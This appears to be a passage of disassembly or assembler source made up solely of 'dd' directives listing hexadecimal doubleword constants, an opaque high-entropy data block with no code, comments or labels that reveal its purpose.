		dd 0EBC87Fh, 0BC0FDE50h, 59336B7Eh, 611F2100h, 169B4F04h
		dd 454800B6h, 0FDD4985Dh, 0F0063B9h, 0E88986F1h, 0B1DF2Ch
		dd 7BDCB59Ch, 955DFB3Ah, 9D88F203h, 0F00E33D7h,	3F60D598h
		dd 20BD84E8h, 0DE286B37h, 0EC3D0C00h, 5B1AE96Eh, 6068B9D0h
		dd 0F8D19D56h, 7B960035h, 564B310Eh, 0E600D354h, 0EAC1EBD8h
		dd 0B3DF2Bh, 4840695Eh,	43313D0h, 23078AF0h, 4A9B6EEEh
		dd 103A34D0h, 0B9C8008Ch, 0F17ECF1Dh, 0F6005D92h, 96324C4Dh
		dd 1ECD1A6Dh, 10666Ch, 102E7B0h, 3DF042BAh, 2708E000h
		dd 889B7D26h, 2E530085h, 18BB7B15h, 601CC591h, 0C8A8B103h
		dd 1E5F2000h, 0C6247A43h, 0F4E902DBh, 2C928BB7h, 0F5EA3160h
		dd 6DB538h, 3228ADD0h, 3AE16FA8h, 3380717Bh, 0F66EAF49h
		dd 0CC006A74h, 2E0B29EBh, 52F143h, 0F938C6A4h, 0FFDD7DD0h
		dd 2287B601h, 0DC028495h, 0C3791080h, 90C220ADh, 0A1B00950h
		dd 28007490h, 0DCBC6847h, 188F7D7h, 0F0C310E9h,	0D4A5C1BAh
		dd 0C63EBBA0h, 0ACB080B2h, 0E6A2C84Bh, 0EBE100B4h, 0F80B70A4h
		dd 0D0002514h, 0E317474Fh, 2E7CF0h, 62BE36D9h, 85FA0A1Dh
		dd 0A8077300h, 0EECEB6FDh, 1A7E0026h, 57E252B5h, 83006D78h
		dd 4909415Bh, 1C170F89h, 0C77953h, 0C15A9829h, 0CC12D947h
		dd 3C003D54h, 10A008DDh, 72280369h, 147A98B1h, 800AA43Bh
		dd 0C9AB2B7Dh, 3298F4Ah, 4808B950h, 0C090A298h,	7000ED36h
		dd 10E13869h, 26D47Dh, 0A20D4034h, 734123FEh, 924E3300h
		dd 98975889h, 4538307Eh, 23B2D8D2h, 8BF1CB01h, 0BFC5341Ah
		dd 2CEB2A80h, 0B1071E08h, 362501Dh, 0A0C2A58Eh,	0BE409B9Eh
		dd 3C6D0334h, 0A13E66ECh, 22E7A4D0h, 0FB618500h, 14A0AD1Eh
		dd 0EE121F6Eh, 3F6A80FCh, 0E4220E7Ch, 1100BD7Ch, 47B25AEDh
		dd 57385Eh, 48B32A95h, 4586087Ch, 0AB615B03h, 9819C885h
		dd 1F10C14h, 3BE7559Ah,	0D46CBA31h, 935035BEh, 1006ED9h
		dd 8BAA6F5Dh, 0A23BA6h,	0C142A7BCh, 0FE58027Ah,	85C73D00h
		dd 0E5A698D9h, 46AC1E20h, 0EEC3C151h, 0C84011DEh, 7EC7D3Eh
		dd 0EB58EF0Fh, 0C8017685h, 0CA519EE8h, 3BAD0F4h, 3A474C35h
		dd 0C2F4BDECh, 38483724h, 2C0080F7h, 705F3078h,	292F15h
		dd 5519AE46h, 68D56B7Ah, 9A48E0FCh, 225700ACh, 65EB3AB1h
		dd 94F14C75h, 7961C818h, 0FB0F389Dh, 848E219Eh,	40C06275h
		dd 0E8E0CFB1h, 2E4C0180h, 5874077Ah, 0B211F442h, 0A5FFB704h
		dd 3880226Eh, 0FAEFB3h,	54BD44A2h, 0A671C987h, 21F26F18h
		dd 28683C20h, 0FC25CAh,	47C6F332h, 8DB097A8h, 0FA75AFFCh
		dd 0A0308104h, 0F4C070C9h, 7E94B6A2h, 0B3830555h, 0EAB064h
		dd 484DB80h, 0D89103E7h, 0CFC93BC1h, 2F0A034h, 66B2802Eh
		dd 0B86833AEh, 8A00A87Ch, 0EA572788h, 1F12BBBh,	9374A9CBh
		dd 0C0FA7984h, 20019B78h, 6E9C019Eh, 8644B58h, 905F03D8h
		dd 1A09DFFFh, 80DABAE1h, 93D0AF40h, 0FAC4CB04h,	0CAA203CDh
		dd 0B658179h, 78001EE3h, 0C7544014h, 3F0164h, 3AD36D4Ch
		dd 5D370AF6h, 14DAC0F9h, 2C97EE26h, 6AEF1100h, 8BE8D5h
		dd 0A7091DF6h, 12534DB2h, 0F3267A76h, 2300DA55h, 0CC1E8FF5h
		dd 387600D4h, 0DDBFF9D2h, 880529F3h, 0FACF6E7Fh, 840F4090h
		dd 24E60405h, 542D6038h, 0C4A50C9Eh, 163B96Bh, 139E5DBBh
		dd 0C5DD83CBh, 344198B7h, 9FE560h, 19243C2Eh, 0B2A30D22h
		dd 949DDF03h, 0A05BFB6Ah, 2A432C20h, 2CCD213h, 2D06D633h
		dd 908C8F79h, 6688A630h, 2980EF7Eh, 6F2DC358h, 94A3786Eh
		dd 4E315A80h, 41D4F74h,	0E2C66526h, 5491A9D1h, 0EED830h
		dd 0D714CB7h, 0C06D569Dh, 0D43551C1h, 5048AB04h, 36932A4Bh
		dd 2EA94h, 7740D0C0h, 62BBC110h, 5796C318h, 242CBD41h
		dd 7020139Fh, 86007E93h, 0BEAADBB5h, 30D1F090h,	3F98E943h
		dd 0FB047884h, 47352BEDh, 8B089880h, 0F6E91FDEh, 4BB0C989h
		dd 96E73C80h, 1C007FF9h
		dd 0BEE6F3B3h, 92FA5C7Ah, 0AE3B008Ch, 0A5A6DD6Ah, 0F90993B9h
		dd 25198EF6h, 0E08380B8h, 1D5000E9h, 44A5D8FBh,	202439B4h
		dd 0BE86582Eh, 0B93FAFh, 51D596CDh, 0B7D388F6h,	25D7C506h
		dd 321AFDFh, 7BBE0C6h, 0D29C9BF6h, 4CE02D00h, 3E9850A9h
		dd 9C1DC8B0h, 3B82E7F0h, 0C0F54D1Eh, 0F9AA18h, 0D51F28C3h
		dd 78D1FB7Bh, 7FFB606h,	0E488759Fh, 68B0098h, 0C76A34ECh
		dd 95120E77h, 860009C0h, 0F47839CAh, 4A192E9Dh,	69A600A0h
		dd 2488C4B7h, 966FEF00h, 0AB4CD586h, 617A72h, 0F5742D93h
		dd 76DBE412h, 6BFB3Fh, 0AC8A08FDh, 7EFFC15h, 745B34E1h
		dd 0C5DCB011h, 843DCE8Dh, 0D9DE8709h, 66A12B10h, 30E082A8h
		dd 177B034Ah, 0B81C3787h, 56A39CE8h, 113EF71Dh,	64C69642h
		dd 97FDC085h, 3AF5005Eh, 3E5B0179h, 33008B4Dh, 6688FECBh
		dd 14CB18Eh, 4B1D80B3h,	0E8E34184h, 84A30651h, 0A2FF3CD8h
		dd 0A685DA00h, 97D4C9BCh, 8FF200EAh, 0D2CAB3AFh, 6001CC95h
		dd 92C80D70h, 68804E49h, 0A9D30891h, 16004D4Ch,	0CCAD8A54h
		dd 0B82AE889h, 5721160h, 2919CF26h, 5F7C2770h, 0A5329690h
		dd 50EE0006h, 40520564h, 77009DEAh, 7399E99Eh, 24F0A062h
		dd 0A38AB8h, 2056AEEh, 1658A7D0h, 2C3F1800h, 0DCEBC8h
		dd 70B4F62Bh, 9D57E4FDh, 0BE00557Ah, 0E0359C85h, 3FFB3942h
		dd 308E4EC1h, 0FC005F5Ch, 89C2CB15h, 5DB4D000h,	0DCFD3E6Ch
		dd 0FAC4030Eh, 0B33D8EB6h, 48E96400h, 92F753EAh, 2A182435h
		dd 388C00D0h, 2CA51B5Ah, 0ACC65226h, 0BC9C5880h, 839344h
		dd 9D7BE0F4h, 99EF3D45h, 0AA6C7C00h, 0ABFC312Bh, 3459829h
		dd 1C646865h, 403DBAECh, 0E5730355h, 0F0FB6B70h, 0EBDA2AAh
		dd 2C9E84E3h, 4A664380h, 6F0095C4h, 4745ABC2h, 860F88h
		dd 2312F8D2h, 0E91E71FAh, 7160CB8h, 64302F60h, 98E002BDh
		dd 55F91358h, 0BC7828F8h, 0C029F03h, 0E047C4B2h, 0B137140Dh
		dd 7A80536Ch, 0A9B0AB2Fh, 0B615F088h, 6D24A213h, 0DB383600h
		dd 7CA4E02Ch, 0C9010698h, 51C54175h, 9B90200h, 9B59BE9Eh
		dd 0CB050B8Ah, 30002B84h, 24AD1352h, 27929716h,	0F3F88040h
		dd 30F0A989h, 0FC70E49Dh, 0B4125906h, 84BC2C6h,	57A420BDh
		dd 9AF7AC85h, 47C80920h, 0B88019B9h, 3D2190E6h,	3462506h
		dd 13B89350h, 0A0CBA81Fh, 7500CAFAh, 8E9F564h, 38C3210Bh
		dd 0F100C1D4h, 9720A56Dh, 0AA307316h, 28A2E011h, 70D30632h
		dd 89CF9E9Fh, 81C7633Eh, 438D5AB9h, 14703F8Ch, 0A0716006h
		dd 0FCFBAAC3h, 8107EBFAh, 3C17FFD7h, 7648C24Fh,	288CC174h
		dd 64628017h, 3492EA24h, 71D4570Ah, 0B9B8E3h, 0B3C4A0ACh
		dd 134DB1FCh, 1DAF1455h, 719D8214h, 0A8C41AB4h,	50E02099h
		dd 0C1E5C4Bh, 2A92892Eh, 7701B9C1h, 40E5CB8Fh, 16C8B8D4h
		dd 0D50B0B47h, 0DC30F655h, 2B206549h, 2AAE02C7h, 2C4FB5DBh
		dd 0FE388880h, 0FC00F834h, 49765F58h, 33EE1A2h,	9BB22ED6h
		dd 71002321h, 0B7F52BD2h, 28F7655h, 0A7AFE4C8h,	0C4C03D93h
		dd 0CC54039Ah, 90F4D80h, 40160A65h, 7477B8DAh, 0B4140F23h
		dd 0FEBF5A34h, 96A4112Ch, 0E01E40h, 85C5E859h, 983BE09Eh
		dd 2A4293E1h, 84961C23h, 6EA11490h, 6FA216B0h, 16985E71h
		dd 207C21D8h, 695DE82Dh, 0C9C9013h, 0D3F78C40h,	0C9A52D6h
		dd 0C7374D0Fh, 0E926B638h, 11308CE3h, 22EC5572h, 2626C169h
		dd 5000B2AEh, 681A888Ch, 174E1FB7h, 0AB974179h,	74F9AE96h
		dd 0E603CB30h, 57195B9Bh, 0C3C28C78h, 0BD00488Ch, 0F4E7096Ch
		dd 0F025EC81h, 6CF43815h, 0C3C24E0Fh, 5456602Eh, 72267Ah
		dd 4B601722h, 0D43E9E62h, 3AC83201h, 93B8B7FBh,	70E452FEh
		dd 27380E57h, 820A228h,	81EF6DA1h, 3A1558h, 0BB65AAFBh
		dd 751DC5h, 2134F207h, 0C766B005h, 3B00B4B9h, 7C4F17Eh
		dd 396C602Bh, 3C7CCD45h, 7A254E00h, 709EF853h, 41FA77h
		dd 2892E6C1h, 57B3A8D7h, 0DB32E400h, 0A33358B0h, 99B2006Ch
		dd 0F85E72B1h, 302CAB65h, 7107AC3Dh, 69905CADh,	6D1531h
		dd 89E4F61Ah, 267E57FDh, 9DAAEE00h, 2B69350Bh, 0E2E9002Ah
		dd 3CECB158h, 43FEB9E5h, 0AEE6A80Fh, 0F0CE605Dh, 94788Ah
		dd 80C55EA3h, 0BD844A65h, 0B9AB2809h, 3860017Bh, 62D80667h
		dd 3DE131Ch, 2710D021h,	223E3AC7h, 0E845805Dh, 2A50B5F9h
		dd 190700A0h, 5B5F5963h, 88B0A721h, 0F5727C01h,	360311F3h
		dd 4AA860h, 0BF0FCEBCh,	663E6A7Fh, 74EC2A54h, 0D882A000h
		dd 93187125h, 435301B8h, 84ADE8Fh, 0F56C346Ah, 3206D61Eh
		dd 66D56B80h, 1FF2DD10h, 0DE3E86h, 56C268D4h, 3A38AD6Eh
		dd 3DFA4C53h, 0BFFC004Fh, 8DEAD4D9h, 97FD0080h,	8C8368BCh
		dd 4C92D024h, 78849B00h, 47A3D8C7h, 58027C94h, 7F9431h
		dd 4CBE620Eh, 7363E9C6h, 0E3002390h, 35564879h,	7755F237h
		dd 59B0032h, 4F0F201Ah,	101C365h, 0C846F10Dh, 0B1EC9DDDh
		dd 0B293E062h, 0E22C0038h, 0BF64CD61h, 2DF20427h, 12B87A0Eh
		dd 4DC01D19h, 7D6C92C5h, 84C926A9h, 0FC210060h,	0E831014Ah
		dd 872C8000h, 56060AF2h, 557A037Ch, 48CFFB26h, 5FC6FDE0h
		dd 7D243E00h, 71EB6FB8h, 4B5C0077h, 7AAE1E2Ch, 854C87A2h
		dd 54492658h, 87E7C90Fh, 58709CBAh, 96C7F8F4h, 0FED586BCh
		dd 1200B9A5h, 0F8EA1E6Ch, 0B0D6B536h, 29A201ACh, 1BB96F4Bh
		dd 675C2057h, 2F331700h, 0CB72859Eh, 54FB0255h,	467BBED9h
		dd 9C68D142h, 360486F5h, 0D1B35F03h, 0F0AB9CC3h, 24D40FF1h
		dd 8010853Dh, 48DF05EAh, 24095382h, 6BF6564Bh, 2BF1E0CCh
		dd 9DE8C696h, 46005930h, 21275465h, 9AE41C89h, 6F9A00B8h
		dd 99AE11FAh, 7758B080h, 175600D0h, 9EA330C9h, 46F6884Bh
		dd 2A0FF894h, 2ECCC564h, 91A22487h, 0C0586B80h,	4C90E217h
		dd 49804CBFh, 37652DC5h, 0BC47C302h, 0A0831D77h, 7362C49Ch
		dd 13A1C0F2h, 29F734AAh, 544AD100h, 0C356AF74h,	82750480h
		dd 0CCE3DDBBh, 4C00DCF8h, 0CB11FC9Ch, 3998F7h, 4A5779B5h
		dd 9E93D1Ah, 0BD0F4C00h, 3B242659h, 882F3005h, 64394979h
		dd 0CE38B403h, 2E0B5C14h, 8264BAD9h, 4892C497h,	0BB420627h
		dd 17DCC777h, 8110609Fh, 4909A0E0h, 0A9AD43h, 55C97424h
		dd 0E54813E7h, 391088B1h, 30A11A2Eh, 0B63E2C8Fh, 40C1C84Bh
		dd 13C858h, 9B84D58Dh, 7F20BC94h, 0A10BF50Dh, 1ADE595Fh
		dd 0FF79A8C9h, 0ECA1E6E2h, 0D06B0AAAh, 0E13AC8A0h, 2CF4242Ch
		dd 8AEC9D03h, 738903EDh, 0E472D554h, 0AB6B1104h, 0D4E0B7A1h
		dd 6FCE20AEh, 0E3000998h, 55F474E8h, 0F4824BE4h, 2737002Ah
		dd 0E59695FBh, 0EF7F6F54h, 0C817D300h, 0A9299E4Bh, 1EDE249h
		dd 0F8B4B535h, 30D02512h, 0AE266485h, 0FB004809h, 95CCB9B6h
		dd 0BA11C003h, 403F1FDFh, 43C55B04h, 0A417C6h, 0CC7954D0h
		dd 64CC001Dh, 0EA5F3A3h, 55025A73h, 575C0C6Dh, 9F546375h
		dd 9C92DDC5h, 535C8094h, 0FE5738h, 3322EF0Ah, 0B088EB8Eh
		dd 29EAFF00h, 2EE39892h, 0E7640099h, 8FC1B7D6h,	0A3F28421h
		dd 0E1C08D00h, 0F10C229Dh, 94B0A2h, 79535833h, 0B2725D31h
		dd 2BFFA600h, 6F402C7Ch, 6EA700C6h, 0DBBE0DC1h,	5601289Ah
		dd 20AFC0F7h, 0AAF8D13Ah, 5482008Ch, 0BCA24D15h, 955CE1D6h
		dd 0D2E30128h, 0D43A9458h, 1BBB9D8h, 51B850D5h,	0F44FDB97h
		dd 8600C57Dh, 462A73ACh, 2D7B5F05h, 1278ED2Eh, 6E4F3F1Eh
		dd 2F679240h, 12040156h
		dd 0E08DD2h, 0B8172778h, 5000E7ADh, 2F20687Fh, 391F4440h
		dd 49801679h, 855A4A25h, 9000E018h, 0C735D86Ah,	0EA81B1h
		dd 2EC5759Bh, 1198AAD0h, 21765C0Ah, 0E1EE08Fh, 4C30FED2h
		dd 0A0C74h, 2182A9D3h, 27B71875h, 0B51A7F07h, 7A6016ADh
		dd 48B4B62Dh, 0F5773348h, 28FCB7E1h, 0F5EE0760h, 0A9683F9Ch
		dd 9B76D422h, 2620F472h, 955901C6h, 70DDF83Dh, 866530B4h
		dd 10942500h, 0D01E6449h, 4B782460h, 97213028h,	941E7598h
		dd 0E5812C2Fh, 390DDD8Eh, 0E8A94460h, 7193F979h, 0EB1E71h
		dd 0D1E8E5D4h, 64944F14h, 40001B96h, 461D582Dh,	48CEF08Ch
		dd 2E102CE7h, 0AE5F1665h, 0D8B5DC82h, 70F400F0h, 0EAE8DA2Fh
		dd 0A2027BC1h, 62459B6Bh, 7F17C004h, 11BA03B3h,	9DEEC74h
		dd 5EC2DC98h, 97874D07h, 5AE28821h, 45C4C0E6h, 0C990091h
		dd 4FC3DBB9h, 1D008FBFh, 36103D18h, 64F60Fh, 0A799D884h
		dd 0FA0821E2h, 0FC0028E6h, 0AEFD3E8Ah, 58AA3436h, 7F018861h
		dd 5B1110A2h, 3926C8C6h, 0B478041h, 45B45830h, 672F2630h
		dd 9C5000E8h, 5E16394Eh, 6AFD0100h, 0A7D3651Ah,	96DD00C9h
		dd 0DE8681EEh, 3226D2BAh, 0CD05D442h, 0D3C0BBE2h, 0F40F897Dh
		dd 11D900B2h, 0C248B9CFh, 942C6D93h, 0C100F4EFh, 137EC3FCh
		dd 74E40058h, 55BF1C9Fh, 8B83B4Eh, 732FE300h, 71DD7284h
		dd 0FFAC2613h, 0A5550348h, 80B86E2Dh, 900D023h,	15578B0Ch
		dd 3C71CD3h, 0AA69ACBCh, 0E10056C4h, 0A8BAC034h, 40B5E5h
		dd 92F8D4BFh, 49BE8C60h, 0F2CFA61Dh, 350A7A80h,	1877C3h
		dd 513E074Dh, 228ACEB5h, 32622Fh, 1E8B5398h, 0E07B619Ah
		dd 2329E307h, 0A2110F58h, 0C68E8088h, 971F70h, 0EA711AC2h
		dd 7DC80A7Fh, 0ACBFA800h, 0F9FB9D04h, 84A0C281h, 0BDE02B50h
		dd 6F00F005h, 100348A7h, 0F90D5Ch, 3D429E56h, 93A5DA2Ah
		dd 9D88E709h, 0C6E087D6h, 0F295FA50h, 0D9B70081h, 0A1FBA30Dh
		dd 0A0DE7C6Ah, 98997384h, 82201D22h, 3AF6FEAFh,	3887C44Dh
		dd 998C0B67h, 0FC25F000h, 6E007CD9h, 21BAB096h,	48B140DDh
		dd 560BF84Ch, 70DC1481h, 0D5DF2B02h, 1FA440EEh,	7510017Fh
		dd 8F67480Fh, 31A448F8h, 0C1B65E00h, 0AD63238Dh, 0E8380020h
		dd 0AFFC7062h, 0C92C95Ah, 0EC00DD5Fh, 7E540980h, 90816739h
		dd 0C0F6B406h, 31A5338h, 56B9E101h, 0D351A4D0h,	0E46806E0h
		dd 7467001Eh, 6C14FD02h, 0F0FF61Ah, 206F8462h, 42370A10h
		dd 29C907Dh, 0BDD60CA1h, 7840B2DDh, 58005DCEh, 0B6FEF9FDh
		dd 346A13Ah, 7ABEE76Bh,	26D0B42Eh, 0B23078h, 8FE6B700h
		dd 9638DB7Bh, 5CE4F291h, 0DD003C45h, 2A858812h,	0B8B0F509h
		dd 0F9C0E30Eh, 5577D9Bh, 0C85084C0h, 0B667E18h,	305ADECBh
		dd 12C7E801h, 0A52AD0D7h, 0B79D57Bh, 1B543Ah, 1ACD6C86h
		dd 2653032Fh, 7CAA2Ah, 8B7F3481h, 1B77D3B0h, 7C774A05h
		dd 0C4C4570Eh, 0A400E816h, 29997F1Ch, 21306FAFh, 433F8480h
		dd 8100826Ah, 0EC63DCE7h, 7BE5818h, 8A754947h, 0DDFE1296h
		dd 5D5E1458h, 90644420h, 0F9F10045h, 8847C7C2h,	285CAD20h
		dd 69420044h, 5BFB338Ah, 9C250005h, 760A6B57h, 0BC00BEC7h
		dd 8FAE4A28h, 9F290AFh,	561643D9h, 29CDC841h, 4DCA8534h
		dd 0F030FC0h, 979A00C0h, 0A0D279C6h, 61001B12h,	8AA184A5h
		dd 5BB4BBAh, 9554D1BFh,	0ABB38120h, 0FE16D822h,	30888C00h
		dd 3AE28EFCh, 232B0013h, 247E80F6h, 0BCA1762Ch,	1C702F40h
		dd 2511A1DAh, 0E44060ECh, 58001E70h, 87FB6B15h,	0FA6534D8h
		dd 0D09B4C13h, 3FCF9407h, 378FB0DEh, 0F900245Dh, 1CEC0464h
		dd 0C47C3Ah, 0A363F755h, 1F3F33A9h, 3894A700h, 0BE739F4Bh
		dd 76F40069h, 98F116B5h, 2E00C901h, 41D60984h, 7DA4B9Bh
		dd 8F8EE18Ch, 0D5B793E5h, 16DEA6F0h, 29D0EE50h,	1CAB000h
		dd 3B0547A7h, 0C28700F2h, 0A70BF79h, 8500E7C0h,	0C3097BC4h
		dd 0D7148Ch, 6F4E322Ah,	0D2118B72h, 653D0F0Bh, 68B88204h
		dd 871FE24Dh, 5A015FCh,	254E2BA2h, 3C02DA56h, 805C9044h
		dd 0A3EB5767h, 0A0D738BCh, 0E33662h, 0FD45270Ah, 630B5273h
		dd 68423F02h, 5E3E2FCCh, 0D2D81E94h, 0E160003Bh, 0A0095F18h
		dd 68833424h, 2D7B0300h, 275D6D8h, 0BD6BD26Ch, 4C402E62h
		dd 24015480h, 0E30EFA4Bh, 28DC08h, 0A0CC397Eh, 0DBBF6700h
		dd 82D230F5h, 3C006F4Eh, 45A52B4h, 67711EB1h, 3131F3Eh
		dd 0DD82EF8Bh, 999D2A98h, 0A2FE000h, 0B6FFD0ACh, 0E3F02EC9h
		dd 62B5011Ch, 0CC34FB3Ah, 1400E62Bh, 8071537Bh,	0F10B97h
		dd 0B7DD375Fh, 43C2F726h, 0BA9A3613h, 0CD45E00h, 62E6FBh
		dd 94AE70AFh, 3258B266h, 0FB0C63Ch, 20E0C38Ah, 8FC52B41h
		dd 0A69F0480h, 80D13D93h, 0A9D5B480h, 1EB1060Ch, 1D21E8EFh
		dd 0C229B2A8h, 2AF3FD6Eh, 78000044h, 0BDFF3802h, 3103CCh
		dd 2F0F74FBh, 17564A33h, 8736A00h, 4D35282Ah, 1475076Ch
		dd 0CA97D603h, 3CFD00F8h, 152BA15Dh, 8A4EAC07h,	97B0CA30h
		dd 17FBF05h, 95E85982h,	0C5C2AAAEh, 80602A98h, 0DBD19Bh
		dd 0F490798Eh, 1C6EF014h, 6A62DE16h, 801B101h, 903CF667h
		dd 7D4AF454h, 9CF40BCCh, 0F482C5FEh, 0F460BD61h, 589805DBh
		dd 0CA354302h, 40AA81DDh, 9AD30B00h, 1042434Ch,	70BBB58h
		dd 0B80A40A4h, 0D9290299h, 84D88175h, 0E08AA800h, 80B534B6h
		dd 0E82700B0h, 2A1D1C45h, 657639A9h, 7BE158C1h,	43830AEh
		dd 56547500h, 0DE871BD5h, 67914907h, 633C03Bh, 5974D844h
		dd 0C2E975E6h, 0CDD9680h, 8CD8F440h, 250EDE00h,	0ECFAB971h
		dd 0AB6A016Fh, 0F1FBE7B1h, 0C456D6DFh, 0C0C90A8Bh, 0DDA7B78Ch
		dd 93F40048h, 8FE143D6h, 32481701h, 67C7A2FBh, 983868DCh
		dd 3AEE10A0h, 90152586h, 189BB19Ch, 11145284h, 60069EEh
		dd 0AC62DA8Eh, 187E2A3Fh, 213B9ABFh, 53766079h,	8801C803h
		dd 0C7DC5CB0h, 287605Eh, 12D254DFh, 37E8D45h, 0BB4C0C99h
		dd 0CD1C76E9h, 38F8307Dh, 0CD00F675h, 47B5BFEAh, 995B5263h
		dd 2553010Ch, 0CC29F94Ah, 2872C065h, 1755702Eh,	21308025h
		dd 0A96DE1h, 6C3CE8C4h,	48BD8A01h, 0C7844600h, 0A1C6DA99h
		dd 0C3150531h, 2D3C23h,	563D1FECh, 0CC09F10Eh, 684A8943h
		dd 157A70h, 0DC9C6D91h,	0E6A07186h, 1A353900h, 0B40DCA93h
		dd 88FB0072h, 0C4DF380Ah, 4900A928h, 9BB85FA8h,	0DD9FF1h
		dd 79F553D9h, 0BC91805Ah, 8E56210Fh, 255E6984h,	0C4C99740h
		dd 3D83C20h, 0F590FF9Fh, 0FE9C98Eh, 0CB9AD879h,	51C8341Eh
		dd 0A468FB00h, 110277h,	55C60A5Dh, 283B4091h, 0E5CC8005h
		dd 78C397B1h, 906DDA7Eh, 0A8C3A1A0h, 0E816FC94h, 0CB1400D2h
		dd 4030B54Ch, 5500174Dh, 0DAB14328h, 55931F2h, 3F547670h
		dd 0D0C4F421h, 78003EF0h, 49FCF1E5h, 1CF6ED4Fh,	1D346A6h
		dd 424A6585h, 3DDC605Dh, 1A004871h, 0FD686A29h,	3DCB47F8h
		dd 75AF12h, 441D6266h, 0A532DB65h, 0A9610300h, 0CFF14D8Ah
		dd 742F1E05h, 0D16A0E85h, 20B17E0h, 0C4007E93h,	9731BAAFh
		dd 3F32F774h, 3A007095h, 0C39AEECAh, 0B4165CE4h, 6C403324h
		dd 3B184A86h, 353700A2h, 5F0D4FC8h, 3E0E5532h, 2058234Ch
		dd 3B723922h, 43243B41h, 7C3F388Ah, 3D2F0208h, 90A077D0h
		dd 0D1C6891Eh, 621E9890h, 7D0CA218h, 0F028111Dh, 1353F8BEh
		dd 40EF2E04h, 815B6C04h, 100EF76Ah, 831F687Ah, 7802C36Eh
		dd 7EF7C20h, 0C393EDEh
		dd 0CDA08080h, 20A01505h, 0A2321062h, 78822860h, 0BE7809ECh
		dd 0DC207D94h, 14779375h, 0CDBAFB05h, 1400B06Ah, 0D60FDC87h
		dd 282D5005h, 0BBA8C064h, 2B045E62h, 82BE0886h,	8131F6Ah
		dd 8099D90Fh, 0B686F730h, 0D57103E0h, 92DA06CFh, 0DD61609Fh
		dd 0B8C046C2h, 0E574AEEEh, 90D4005Dh, 0F9FB8F6Ah, 4D0064BDh
		dd 37356CCFh, 0CBADEBh,	0A954B314h, 0BD835A8Ch,	65BA2E00h
		dd 61C470CFh, 0F3E90040h, 0B0913744h, 4707A613h, 0EEF2B689h
		dd 9050B2D0h, 765A38F6h, 0D380E83Bh, 0A04082BFh, 843E972Dh
		dd 4D788F20h, 0BA2CE1CEh, 0E180E109h, 8C1C2BB9h, 60010484h
		dd 78FCE458h, 2180E208h, 0D2B0BC82h, 0CC01B291h, 0C0F56305h
		dd 0BA00429Eh, 0F002F43Dh, 0ABCA32F6h, 0B374C106h, 0F9A0B457h
		dd 0F3D91Ah, 2094923Ah,	2F027F82h, 0F67ACD04h, 72C02EEDh
		dd 16AC35Ah, 29E8D6BFh,	4872B735h, 0AC0141C0h, 6F6A7B17h
		dd 7ADCD560h, 6EF21566h, 0DE00F473h, 0F54AE30Bh, 0A0097CFh
		dd 928B5D17h, 0EBA0946h, 0ED37B564h, 13ECF4C7h,	390078C3h
		dd 2C08DF60h, 0EDC89Ch,	90254CB2h, 1603CBD3h, 915670F3h
		dd 4BD4C200h, 0A2656AB6h, 0F7570080h, 8F1BE605h, 0F800E187h
		dd 0E8E23BF1h, 6165074h, 174486C2h, 0DC0508CEh,	8EA3688Ch
		dd 9DEC8281h, 3DF54D0h,	96612336h, 0D0E13F8Ah, 0D399F087h
		dd 60228B03h, 0C12381D9h, 55D1D6ACh, 6232108Fh,	617E3763h
		dd 8F649FE0h, 38E7B500h, 209CE850h, 8CA400ADh, 8DC76B3Eh
		dd 0A37C6522h, 0D3693007h, 83833D87h, 0F30A6B8h, 97AB32B9h
		dd 0A480380Eh, 0D55427FBh, 7C6F8301h, 0F96C91D3h, 47A6444h
		dd 0E60EC3EFh, 2E100687h, 192BC996h, 0D6095800h, 8710DA31h
		dd 2F2107BDh, 0B3A5CD0Ah, 0CF904E85h, 2C606B49h, 33973731h
		dd 9BAE03E1h, 83964892h, 21320830h, 0E339CD6h, 0AA496C3Bh
		dd 6520F5CFh, 187C8DAFh, 0D30032EAh, 50AEE4F0h,	3A9564h
		dd 0B95679C0h, 0F6E6D478h, 0A8B57401h, 0FA75D92Bh, 0A540C18Ch
		dd 30C0AB36h, 64EA0477h, 174E0680h, 298672D9h, 89215130h
		dd 804284h, 70584ECFh, 0F0D0D49Ch, 5CA2310Ch, 3C9E8F9h
		dd 9316D2D9h, 410077DEh, 5802F2A4h, 19638330h, 8EAC9F5h
		dd 8D2180BCh, 0BB802FAh, 79BE03C5h, 0F3CCB2B1h,	70455006h
		dd 85E02031h, 60A5C42Ch, 31E48Eh, 6023580Ch, 6728B16h
		dd 0DAE4DD54h, 0CCA15D00h, 26CD5C9Ch, 0F37DB8h,	3009E53Fh
		dd 819EC1D7h, 0B358EB61h, 3982A8AAh, 0FFDF924h,	6E0F0452h
		dd 0C1EA3658h, 4F2B576Dh, 0D6B853h, 36418321h, 9D7C036Eh
		dd 70140A7Ah, 0CA0C73Dh, 29D2A1B3h, 308B49A7h, 0C62D9900h
		dd 0B4FF6F50h, 0FC8F1D00h, 9C7BC939h, 0BC406260h, 0E0E4C03Eh
		dd 593F8B11h, 6DEF708h,	984A3140h, 0A449296h, 9C16D159h
		dd 2F5C0A4h, 0FB46305Fh, 8A00A222h, 32E102FDh, 35FC022h
		dd 3844A3BAh, 0C03ADBE9h, 0A1CF2051h, 0A918436Ch, 0AEE33304h
		dd 3A32954Bh, 3390E027h, 30DEC093h, 0B371B075h,	88A8C1ADh
		dd 0E53405C7h, 680668CCh, 0A412E1Ch, 0C75840A0h, 48F0384h
		dd 1DE0B192h, 0B490C462h, 1F40D815h, 0A36C1E94h, 0CA3D38B3h
		dd 0AC744063h, 4A942408h, 0D8143E80h, 4305EC2Eh, 1AB6CB1h
		dd 49384D98h, 0D0402129h, 5E10D89Bh, 0D23716C3h, 0CB350390h
		dd 13E4A00Eh, 2C910644h, 88E95130h, 339430E6h, 93AEE208h
		dd 40356492h, 67339DEDh, 0E2FB1C4Ah, 0EC987E54h, 30DEF94Ch
		dd 925D4607h, 50437EB3h, 19390E3Bh, 6F209A42h, 0B8EF7B32h
		dd 7054750Fh, 1E08E59h,	1CDD400Eh, 0AE444987h, 0C4FAF0h
		dd 0CBF80FC0h, 31035967h, 41205A61h, 0E9D012CAh, 0E554041Eh
		dd 0A430D025h, 0AD40C058h, 51B260DEh, 13F7922Fh, 760297F6h
		dd 0A4511216h, 4CD8A096h, 20BBEBh, 0D0F9FBF0h, 28F8526Eh
		dd 3D0423F0h, 0D3055596h, 8C8E2094h, 12C03088h,	30D2551Bh
		dd 0C6192251h, 140035FDh, 0ED396EF5h, 171B5Eh, 0F22CF6DCh
		dd 9663CAD8h, 9C6C354Ch, 0B080F0C6h, 145009D8h,	4020DA06h
		dd 2DF8D15Fh, 85A73800h, 0C3308A8Ch, 9282072Bh,	0D264F7A8h
